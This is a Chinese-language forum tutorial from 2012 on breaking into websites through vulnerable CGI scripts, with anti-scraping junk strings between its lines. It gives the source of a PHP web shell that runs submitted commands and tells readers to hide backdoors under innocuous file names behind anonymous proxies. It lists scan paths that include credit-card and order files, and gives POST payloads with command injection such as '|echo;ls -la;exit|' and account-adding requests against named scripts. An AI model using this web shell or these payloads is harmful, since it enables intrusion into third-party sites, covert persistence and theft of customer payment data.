中国网络渗透测试联盟
标题:
CGI 脚本入侵快速上手+脚本使用方法
[打印本页]
作者:
admin
时间:
2012-9-13 16:54
标题:
CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
) S7 n, t) `7 B& E. f( U
大家好 我是bboyhip 只是一名菜菜的exploiter
% R& {& Z' F# U, s! J! @
很开心来到贵论坛
6 |! }3 M$ k c/ h1 U- `
这里让我感觉 很有技术交流的感觉
) B+ Q. z2 j* I+ C, m# f4 [" K# t2 y
我会长长来玩的
( ^" f' q3 E& _! E5 [! {7 t
前言:
: T9 h) m; m6 C/ Y3 ~4 g3 E
以下讲解针对欧美日本网站
- u' f/ F8 h: ^2 \- M0 X( t
當我們在做滲透分析的時候 方法有很多
) a3 a) r: O/ f5 W$ I
我门都知道 国外伺服器大多是linux 平台
2 S. ?/ e5 M4 l( t4 D1 O
所以有很多网站程序有6成都会使用cgi 脚本来管理
- N7 C2 n7 S, C7 l, g
目录为/cgi-bin/
8 i! E+ T# b& b1 J/ K0 S: H
- b$ q6 U, j( J- H% `/ u0 v$ E
只是个人在实务上一些经验
5 H3 M) L S3 Y: ~7 I
写的不好 请多多见谅喔
2 w- @6 b. n) z: M
在这里我简单分为几个部份一定要會的
+ Q2 V# a3 H/ k: }9 F. z% E1 c
讲解一下
5 e$ N- n, I( s$ T# I& D9 k
让没有基础的人很容易上手
, f" v) V d. S: o5 c+ |
9 m2 b( S7 N6 Q( E6 e. `6 N6 h
以下内容跟帖回复才能看到
2 P5 b# D `4 Q! R7 F0 j" D
==============================
* J+ w8 P* L5 z9 d$ {) w! i
) n! n" X! K6 E7 }1 ^
第1部份: 何谓Shell?
% G' K; |5 r f$ [
Shell的中文, 可称为 "壳". Shell 是一个比较复杂的概念, 先看比较传统的解释:
8 y- E/ y L, E8 n4 j" V# P
A shell is the program which reads user input from the command line and executes actions based upon that input.
2 p% M4 Y/ ]2 D( v
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
6 V+ O* v2 p4 e' x
2 z+ |9 }$ @) B# a: w- A! J
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.
4 @$ T' H* a3 o; y7 M7 {
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门. 大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多. 在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
6 N$ z9 Q Y* _5 f0 {! ]
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
: V" _1 y5 @* w4 P0 E
; S7 a' i$ K* \( W3 T
第2部份: Unix 指令
4 ]' `8 A/ m( ]- m/ S( C
以下是一些常见及重要的指令:
9 \! d, x! h: Z8 ~
pwd: 显示当前目录, 即是後门/程式所在的位置
5 r W7 l! ]% l3 H* W- I
如 /home/www/site.com/cgi-bin/
3 j6 K7 D8 r7 r3 H
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).
( j; g7 ^7 m9 b; x- g: Z; M0 u- B
ls -al :详细列出档案资料(当前目录)
. J( X/ S- d! {2 z0 ]
ls /: 列出根目录
' @- \( j2 T: y# F T5 z7 q
ls /etc: 列出/etc的资料夹及档案
2 x |" a* x! K" ?3 ^7 _
ls ../ -al: 详细列出上一层的资料夹及档案
9 n+ X# Q0 A9 z+ t. m: B
cat: 显示档案内容
0 O! }* \/ S5 q. y2 _$ r
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
2 e" M2 O a& J0 |7 b
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
% E! l2 c5 B U' q
who: 显示谁login 至系统
1 f9 J- {7 G2 u3 P; o) X+ g& F
man: 显示指令用法
; G$ G' K4 y. k& Y+ {
man ls: 显示ls这指令的用法
3 e3 }' w" ~- |7 o* I
mkdir 建立目录
( O0 e5 t3 p2 ?/ ^4 {! U Z
rmdir 删除目录
7 ^! Y! Z! L; T) m
mv 移动档案
. e% {. x3 U) I7 F/ z' e; d1 n
rm 删除档案
9 _2 w0 g$ n9 E6 ^
- t- Z( Y: Q. d& x. |
第3部份: Shell的使用
/ V& ?% A, G. l" x
例如:
$ J g' H$ k* y( c& ^* n$ t
http://site.com/refer.php
7 v. p R/ K0 h
这是我的後门, 原代码如下:
4 ~3 Z; B2 f/ f
<Form Action="#" Method="POST">
% v# x4 Q: Z3 ~
<Input type="text" name="cmd">
1 _0 Q8 [9 f: A! U/ w0 o: l) B/ m
<Input type="Submit">
' X- k1 m J" C! A' G' @
</Form>
g7 p" @, f; E: A2 b( Q* d( t Y
<?php
* w- u/ l& t8 ?2 ]. o2 Q4 k
$cmd = $_POST['cmd'];
9 j7 y: P z( C! a" u$ j+ |& D B
$Output = shell_exec($cmd);
9 V( B2 m! U2 d/ h; V' q8 ~$ b4 o
echo $Output;
: W5 C* W. k% J$ ]! l
?>
8 Y" C' W# k: @0 Y) H$ _2 k
输入pwd, 可得到绝对路径:
6 c; j+ d7 G# i: L) N. o r& @
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
I1 Z3 S* u+ J" Q
& _. K% r& p/ L/ C
第4部份: 注意事项
3 N: R9 Y8 e0 y
- 使用匿名代理, 保障自己
+ N9 d; `' A* g
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
, S. _* G2 M' L4 }1 [4 T4 |8 U
- 加後门前, 必须了解目标系统是否支援. 例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
$ D$ h0 V/ u8 ^) r) ?5 g
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
! z8 N5 v1 O9 M$ V* ~9 G
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
. m1 a: M q# s# r9 j" G2 F j
不容易被发现.
( F" i. X( I. r/ d" V0 `3 O9 b- B
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
5 ^9 c( \! }' w
针对网站的渗透分析方法太多了
7 z6 [+ z, ` E. q' B
这篇文章的重点是cgi 脚本攻击
7 H- N7 p$ G: H! `! k( b8 g
所以我用简单的叙述形容
2 R5 h5 z7 C' B4 m2 ^
开始讲解脚本入侵过程:
. j2 v( m1 [" O; W
在这里提供一些方法思路让大家学习一下
0 k0 \: R. w, j
$ F! p3 c- H( w; r$ J- L- H% } U
1.一开始对一个网站进行cgi漏洞扫描
" {9 K T- Q' o( m3 b+ M5 V% \
我们需要的东西有
1 J! F1 p7 \ N' I
扫洞工具 如:triton..等等
% X' _, r6 Q+ H `) `
E表
6 e$ |+ ]8 y$ v, S" u u9 k6 ?4 W
如
8 }. V, C9 H4 U8 d, B- O2 ?6 ^5 C
/cgi-bin/add-passwd.cgi
2 }, m7 t T6 K' F8 J% P
/WebShop/templates/cc.txt
/ h9 |. Z( m0 `7 Z
/Admin_files/order.log
0 X, U' @- k, M2 r# T- P5 P' W
/orders/mountain.cfg
- Y, M: g; c. n5 N
/cgi-sys/cart.pl
" k% l% P5 d$ G6 x k1 @- V' C
/scripts/cart.pl
% A& ?# r' o$ q( `- g
/htbin/cart.pl
0 i' e( E! P- A6 h5 G
E表来源可以是网路收寻或是自己的0 day
f3 P* S \" ?. N8 j
3 D. D5 V# l* D6 X
2.怎样确认扫到的洞 是真的还假的?
! M2 l6 [0 ?# w7 q0 \7 p# n8 w
举例: target:
http://www.site.com/cgi-bin/add-passwd.cgi
( K/ O. Y7 w# E( }8 R
一般都是在IE里先看一下的,记住这个返回码哦
4 Z, ^6 H; |7 j5 Y0 q
ERROR:This script should be referenced with a METHOD of POST.
$ j: d) `& H1 U% T, z6 P
没有返回一定是假的
) m) ^9 S z$ h% s* y' i
3.重来来了 很多人都会问我
/ }' `" q" s, |# ^
他扫到很多洞 但是不会使用
2 m% ^. _* C8 H2 m6 u8 T
因为这些漏洞 使用的语法 称为post
" [1 _6 h5 N1 J
我们要找post 的方法很多
0 X3 ^% g$ Y, c/ C# O6 h
可以是源代码分析 找出介质
( J6 v* t9 r8 \/ i+ `$ P5 e- N
或是用抓包工具 抓他的语法...等等
" _; @8 _4 o2 E: X. \, Q. t/ U
2 z( Z- h1 _- F- J
以下我提供10个 cgi 洞以及使用方法post
8 {4 E9 P7 C2 s, _: F' o7 v( J
让大家可以针对网站去做扫描
4 }# N( Q8 T; ]) [. h, X
/index.cgi
0 ?1 o* B7 f+ a+ a
wei=ren&gen=command
3 I( ]: N2 ?8 |9 i5 [
/passmaster.cgi
; e$ R: g1 Q* S* s/ N( e9 i, P
Action=Add&Username=Username&Password=Password
( t; t6 `0 |3 v; K2 N' _- `
/accountcreate.cgi
0 g3 o) d) J2 y1 M
username=username&password=password&ref1=|echo;ls|
9 \ j1 t/ k1 M8 Q& m+ M" n2 Y
/form.cgi
/ t* P; H, L& J" z
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
: S+ k3 m% w8 `3 h5 z4 Z
/addusr.pl
& T: \! L- r) W/ D* e% P1 ]! D
/cgi-bin/EuroDebit/addusr.pl
5 [: a* H4 g P0 N, m$ B
user=username&pass=Password&confirm=Password
, m( d" M, z( V: ^# n1 a8 F
/ccbill-local.asp
. z7 a/ V3 c- ?5 J* B8 d6 E. y8 t
post_values=username:password
- L e( Z( |" ]6 o: m
/count.cgi
! b+ p e: u: _, A. a1 v& W1 m
pinfile=|echo;ls -la;exit|
; M: J6 r& c( M% m& H6 w
/recon.cgi
- \' d- M6 E5 c" l* c1 E
/recon.cgi?search
/ w, y V9 o v6 N1 B# I$ A; d+ l
searchoption=1&searchfor=|echo;ls -al;exit|
) E; @2 s$ y5 Q" k$ ~
/verotelrum.pl
; T2 [1 d1 i' p
vercode=username:password:dseegsow:add:amount<&30>
! ?# ?9 u; c1 O0 T
/af.cgi_browser_out=|echo;ls -la;exit;|
/ J R( Y+ z" s4 J
: N2 Z0 N3 `4 I! L b) }4 `
今天就讲到这 感谢大家支持
' u u. j+ t* v- d% g4 e
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2